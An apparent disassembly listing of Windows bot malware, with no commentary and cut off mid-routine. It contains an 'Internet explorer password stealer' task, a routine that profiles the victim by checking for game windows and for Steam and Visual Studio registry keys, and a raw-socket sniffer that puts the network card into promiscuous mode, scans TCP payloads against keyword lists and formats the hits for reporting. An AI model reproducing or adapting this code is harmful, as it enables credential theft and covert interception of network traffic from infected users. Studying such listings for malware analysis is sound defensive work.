		dd 858D0041h, 0FFFFF414h, 7D05E850h, 0C483FFFFh, 0FEB5E914h
		dd 2868FFFFh, 8D0041D4h, 0FFF5B885h, 15FF50FFh,	417108h
		dd 850FC085h, 184h, 41D41C68h, 0F0858D00h, 50FFFFFDh, 133BE8h
		dd 85595900h, 69850FC0h, 68000001h, 41D414h, 0FDF0858Dh
		dd 0E850FFFFh, 1320h, 0C0855959h, 14681674h, 8D0041D4h
		dd 0FFFDF085h, 9E850FFh, 59000013h, 208059h, 858D086Ah
		dd 0FFFFFDF0h, 20858D50h, 50FFFFF1h, 710015FFh,	0C680041h
		dd 8D0041D4h, 0FFF12085h, 0DDE850FFh, 59000012h, 75C08559h
		dd 0D4046867h, 858D0041h, 0FFFFF120h, 12C6E850h, 59590000h
		dd 5075C085h, 0FDEC858Bh, 8940FFFFh, 0FFFDEC85h, 3E868FFh
		dd 15FF0000h, 41709Ch, 0A985BE0Fh, 85FFFFF5h, 8D2875C0h
		dd 0FFF60485h, 858D50FFh, 0FFFFFDF0h, 0ECB5FF50h, 68FFFFFDh
		dd 41D3BCh, 0F414858Dh,	0E850FFFFh, 0FFFF7C0Fh,	0E914C483h
		dd 0A8h, 41DE0068h, 20858D00h, 50FFFFF1h, 70FC15FFh, 74680041h
		dd 8D0041D4h, 0FFF60485h, 4DE850FFh, 59000012h,	74C08559h
		dd 0D4746838h, 858D0041h, 0FFFFF604h, 1236E850h, 59590000h
		dd 858D5040h, 0FFFFF120h, 0FC15FF50h, 68004170h, 41D474h
		dd 0F604858Dh, 0E850FFFFh, 1214h, 20805959h, 0EC858B00h
		dd 40FFFFFDh, 0FDEC8589h, 0E868FFFFh, 0FF000003h, 41709C15h
		dd 20858D00h, 50FFFFF1h, 0F604858Dh, 8D50FFFFh,	0FFFDF085h
		dd 0B5FF50FFh, 0FFFFFDECh, 41D36068h, 14858D00h, 50FFFFF4h
		dd 0FF7B62E8h, 18C483FFh, 20068h, 8D006A00h, 0FFFDF085h
		dd 77E850FFh, 83000011h, 680CC4h, 6A000002h, 4858D00h
		dd 50FFFFF6h, 1161E8h, 0CC48300h, 0FFF8B6E9h, 0FC45C6FFh
		dd 0ECBD8302h, 0FFFFF1h, 858B1274h, 0FFFFF1ECh,	0F1EC8D8Bh
		dd 98BFFFFh, 851FF50h, 0FFF7A8E9h, 0FC45C6FFh, 8BD8301h
		dd 0FFFFF2h, 858B1274h,	0FFFFF208h, 0F2088D8Bh,	98BFFFFh
		dd 851FF50h, 0FFF672E9h, 0EC858AFFh, 88FFFFF5h,	0FFF5AC85h
		dd 3E868FFh, 15FF0000h,	41709Ch, 0FDECB5FFh, 858BFFFFh
		dd 0FFFFF410h, 246830FFh, 8D0041D3h, 0FFF41485h, 0B0E850FFh
		dd 83FFFF7Ah, 0B5FF10C4h, 0FFFFF410h, 0FF3CC6E8h, 0A58359FFh
		dd 0FFFFF028h, 0FC658000h, 0F07D8300h, 8B0C7400h, 4D8BF045h
		dd 50098BF0h, 830851FFh, 83FFFC4Dh, 0FFF600BDh,	127400FFh
		dd 0F600858Bh, 8D8BFFFFh, 0FFFFF600h, 0FF50098Bh, 858B0851h
		dd 0FFFFF028h, 64F44D8Bh, 0D89h, 5E5F0000h, 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE50, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset aOa	; "¸ÝoA"
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp-4]
		mov	eax, [eax]
		mov	ecx, [ebp-4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: cAddress:00415B4Cj
		leave
		retn
; ---------------------------------------------------------------------------


loc_415B60:				; DATA XREF: sub_415DFD+35o
		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-5B8h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		and	dword ptr [ebp-5C4h], 0
		and	dword ptr [ebp-410h], 0
		and	dword ptr [ebp-40Ch], 0
		and	dword ptr [ebp-408h], 0
		and	dword ptr [ebp-404h], 0
		and	dword ptr [ebp-5BCh], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: cAddress:loc_415C50j
		mov	eax, [ebp-5BCh]
		inc	eax
		mov	[ebp-5BCh], eax


loc_415BC2:				; CODE XREF: cAddress:00415BB3j
		cmp	dword ptr [ebp-5BCh], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		push	dword ptr [ebp-5BCh]
		call	dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp-400h]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	dword ptr [ebp-410h], 1


loc_415C0E:				; CODE XREF: cAddress:00415C02j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp-400h]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	dword ptr [ebp-408h], 1


loc_415C2F:				; CODE XREF: cAddress:00415C23j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp-400h]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	dword ptr [ebp-404h], 1


loc_415C50:				; CODE XREF: cAddress:00415C44j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: cAddress:00415BCCj
		and	dword ptr [ebp-5C0h], 0
		lea	eax, [ebp-5C0h]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	dword ptr [ebp-5C4h], 1


loc_415C88:				; CODE XREF: cAddress:00415C7Cj
		push	dword ptr [ebp-5C0h]
		call	dword_417028	; RegCloseKey
		and	dword ptr [ebp-5C0h], 0
		lea	eax, [ebp-5C0h]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	dword ptr [ebp-40Ch], 1


loc_415CC7:				; CODE XREF: cAddress:00415CBBj
		push	dword ptr [ebp-5C0h]
		call	dword_417028	; RegCloseKey
		movsx	eax, byte ptr [ebp-41Ch]
		test	eax, eax
		jz	short loc_415D1E
		cmp	dword ptr [ebp-410h], 0
		jnz	short loc_415D1E
		cmp	dword ptr [ebp-5C4h], 0
		jnz	short loc_415D1E
		cmp	dword ptr [ebp-40Ch], 0
		jnz	short loc_415D1E
		cmp	dword ptr [ebp-408h], 0
		jnz	short loc_415D1E
		cmp	dword ptr [ebp-404h], 0
		jnz	short loc_415D1E
		push	dword ptr [ebp-5B8h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: cAddress:00415CDCj
					; cAddress:00415CE5j ...
		cmp	dword ptr [ebp-404h], 0
		jz	short loc_415D33
		mov	dword ptr [ebp-5C8h], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: cAddress:00415D25j
		mov	dword ptr [ebp-5C8h], offset aNo ; "No"


loc_415D3D:				; CODE XREF: cAddress:00415D31j
		cmp	dword ptr [ebp-408h], 0
		jz	short loc_415D52
		mov	dword ptr [ebp-5CCh], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: cAddress:00415D44j
		mov	dword ptr [ebp-5CCh], offset aNo ; "No"


loc_415D5C:				; CODE XREF: cAddress:00415D50j
		cmp	dword ptr [ebp-40Ch], 0
		jz	short loc_415D71
		mov	dword ptr [ebp-5D0h], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: cAddress:00415D63j
		mov	dword ptr [ebp-5D0h], offset aNo ; "No"


loc_415D7B:				; CODE XREF: cAddress:00415D6Fj
		cmp	dword ptr [ebp-5C4h], 0
		jz	short loc_415D90
		mov	dword ptr [ebp-5D4h], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: cAddress:00415D82j
		mov	dword ptr [ebp-5D4h], offset aNo ; "No"


loc_415D9A:				; CODE XREF: cAddress:00415D8Ej
		cmp	dword ptr [ebp-410h], 0
		jz	short loc_415DAF
		mov	dword ptr [ebp-5D8h], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: cAddress:00415DA1j
		mov	dword ptr [ebp-5D8h], offset aNo ; "No"


loc_415DB9:				; CODE XREF: cAddress:00415DADj
		push	dword ptr [ebp-5C8h]
		push	dword ptr [ebp-5CCh]
		push	dword ptr [ebp-5D0h]
		push	dword ptr [ebp-5D4h]
		push	dword ptr [ebp-5D8h]
		push	offset dword_41D5A4
		lea	eax, [ebp-5B4h]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	dword ptr [ebp-5B8h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: cAddress:00415D19j
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset loc_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: cAddress:00416389p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6D4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D730
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7A4
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7E8
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp

; ---------------------------------------------------------------------------


loc_415F69:				; DATA XREF: sub_41665C+A6o
		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1614h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, byte ptr [ebp-160Ch]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp-160Ch]
		and	eax, ecx
		mov	[ebp-1624h], eax
		push	0
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp-104Ch], eax
		cmp	dword ptr [ebp-104Ch], 0FFFFFFFFh
		jnz	short loc_415FDE
		push	dword ptr [ebp-1614h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: cAddress:00415FC9j
		push	0FFh
		lea	eax, [ebp-1254h]
		push	eax
		call	dword_417260	; gethostname
		lea	eax, [ebp-1254h]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp-1154h], eax
		cmp	dword ptr [ebp-1154h], 0
		jnz	short loc_41602B
		push	dword ptr [ebp-104Ch]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-1614h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: cAddress:0041600Aj
		push	10h
		push	0
		lea	eax, [ebp-1048h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	word ptr [ebp-1048h], 2
		mov	eax, [ebp-1154h]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-1044h], eax
		push	10h
		lea	eax, [ebp-1048h]
		push	eax
		push	dword ptr [ebp-104Ch]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	dword ptr [ebp-104Ch]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-1614h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: cAddress:00416072j
		mov	dword ptr [ebp-1150h], 1
		push	0
		push	0
		lea	eax, [ebp-1620h]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp-1150h]
		push	eax
		push	98000001h
		push	dword ptr [ebp-104Ch]
		call	dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	dword ptr [ebp-104Ch]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-1614h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: cAddress:004160C9j
		lea	eax, [ebp-1030h]
		mov	[ebp-161Ch], eax
		and	dword ptr [ebp-1628h], 0
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp-1610h]
		mov	eax, [ebp-1614h]
		push	dword ptr [eax]
		push	offset unk_41D9B4
		lea	eax, [ebp-140Ch]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	byte ptr [ebp-1274h], 0
		and	byte ptr [ebp-114Ch], 0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-114Bh]
		rep stosd
		stosw
		stosb
		and	byte ptr [ebp-1264h], 0
		xor	eax, eax
		lea	edi, [ebp-1263h]
		stosd
		stosb
		lea	eax, [ebp-114Ch]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1264h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp-114Ch]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp-1618h], eax
		lea	eax, [ebp-1264h]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp-1268h], ax
		and	byte ptr [ebp-1038h], 0
		xor	eax, eax
		lea	edi, [ebp-1037h]
		stosd
		stosb
		lea	eax, [ebp-1038h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp-1044h]
		mov	[ebp-125Ch], eax
		lea	eax, [ebp-1038h]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp-1258h], ax


loc_4161E6:				; CODE XREF: cAddress:0041626Ej
					; cAddress:004162A3j ...
		push	0
		push	1028h
		lea	eax, [ebp-1030h]
		push	eax
		push	dword ptr [ebp-104Ch]
		call	dword_417248	; recv
		mov	[ebp-17ACh], eax
		mov	eax, [ebp-1614h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: cAddress:00416210j
		cmp	dword ptr [ebp-17ACh], 0FFFFFFFFh
		jz	short loc_416229
		cmp	dword ptr [ebp-17ACh], 0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: cAddress:0041621Ej
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: cAddress:00416227j
		mov	eax, [ebp-17ACh]
		and	byte ptr [ebp+eax-1030h], 0
		mov	eax, [ebp-161Ch]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp-161Ch]
		lea	eax, [ecx+eax*4]
		mov	[ebp-1628h], eax
		mov	eax, [ebp-1628h]
		lea	ecx, [ebp-1030h]
		sub	eax, ecx
		cmp	eax, [ebp-17ACh]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: cAddress:0041626Cj
		mov	eax, [ebp-1628h]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp-1628h]
		lea	eax, [ecx+eax*4]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		lea	ecx, [ebp-1030h]
		sub	eax, ecx
		cmp	eax, [ebp-17ACh]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: cAddress:004162A1j
		push	dword ptr [ebp-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp-17ACh], eax
		mov	eax, [ebp-161Ch]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, byte ptr [ebp-127Eh]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp-161Ch]
		mov	eax, [eax+10h]
		cmp	eax, [ebp-125Ch]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: cAddress:004162D3j
					; cAddress:004162E4j
		movsx	eax, byte ptr [ebp-1278h]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp-161Ch]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp-125Ch]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: cAddress:004162F4j
					; cAddress:00416305j
		mov	eax, [ebp-1628h]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, word ptr [ebp-1258h]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp-161Ch]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp-125Ch]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: cAddress:00416328j
					; cAddress:00416339j
		mov	eax, [ebp-1628h]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		movzx	ecx, word ptr [ebp-1268h]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp-161Ch]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp-1618h]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: cAddress:0041635Cj
					; cAddress:0041636Dj
		push	dword ptr [ebp-1624h]
		push	dword ptr [ebp-1610h]
		push	dword ptr [ebp-17ACh]
		push	dword ptr [ebp-4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	dword ptr [ebp-19B8h], 0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: cAddress:loc_416413j
		mov	eax, [ebp-19B8h]
		inc	eax
		mov	[ebp-19B8h], eax


loc_4163AF:				; CODE XREF: cAddress:004163A0j
		mov	eax, [ebp-19B8h]
		cmp	eax, [ebp-17ACh]
		jnb	short loc_416415
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: cAddress:004163CCj
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: cAddress:004163E9j
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: cAddress:00416405j
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: cAddress:004163BBj
		and	dword ptr [ebp-19B8h], 0
		mov	eax, [ebp-19B8h]
		mov	[ebp-17ACh], eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: cAddress:00416470j
					; cAddress:00416483j ...
		mov	eax, [ebp-19B8h]
		inc	eax
		mov	[ebp-19B8h], eax


loc_416437:				; CODE XREF: cAddress:00416428j
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp-4]
		add	eax, [ebp-17ACh]
		mov	ecx, [ebp-4]
		add	ecx, [ebp-19B8h]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------


loc_41645F:				; CODE XREF: cAddress:00416445j
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416472:				; CODE XREF: cAddress:0041646Ej
		mov	eax, [ebp-4]
		add	eax, [ebp-19B8h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_416485:				; CODE XREF: cAddress:00416481j
		mov	eax, [ebp-4]
		add	eax, [ebp-17ACh]
		mov	ecx, [ebp-4]
		add	ecx, [ebp-19B8h]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp-17ACh]
		inc	eax
		mov	[ebp-17ACh], eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------


loc_4164AA:				; CODE XREF: cAddress:0041645Dj
		cmp	dword ptr [ebp-17ACh], 0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4164B8:				; CODE XREF: cAddress:004164B1j
		push	100h
		mov	eax, [ebp-161Ch]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp-19B4h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp-161Ch]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp-18B0h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp-1628h]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp-18B0h]
		push	eax
		mov	eax, [ebp-1628h]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp-19B4h]
		push	eax
		push	offset dword_41D980
		lea	eax, [ebp-17A8h]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp-18B4h], eax
		mov	eax, 180h
		sub	eax, [ebp-18B4h]
		push	eax
		push	dword ptr [ebp-4]
		mov	eax, [ebp-18B4h]
		lea	eax, [ebp+eax-17A8h]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp-17A8h]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp-140Ch]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp-1614h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------


loc_4165AD:				; CODE XREF: cAddress:004165A6j
		mov	eax, 180h
		sub	eax, [ebp-18B4h]
		dec	eax
		mov	[ebp-17B0h], eax


loc_4165BF:				; CODE XREF: cAddress:00416630j
		mov	eax, [ebp-17B0h]
		cmp	eax, [ebp-17ACh]
		jnb	short loc_416632
		push	180h
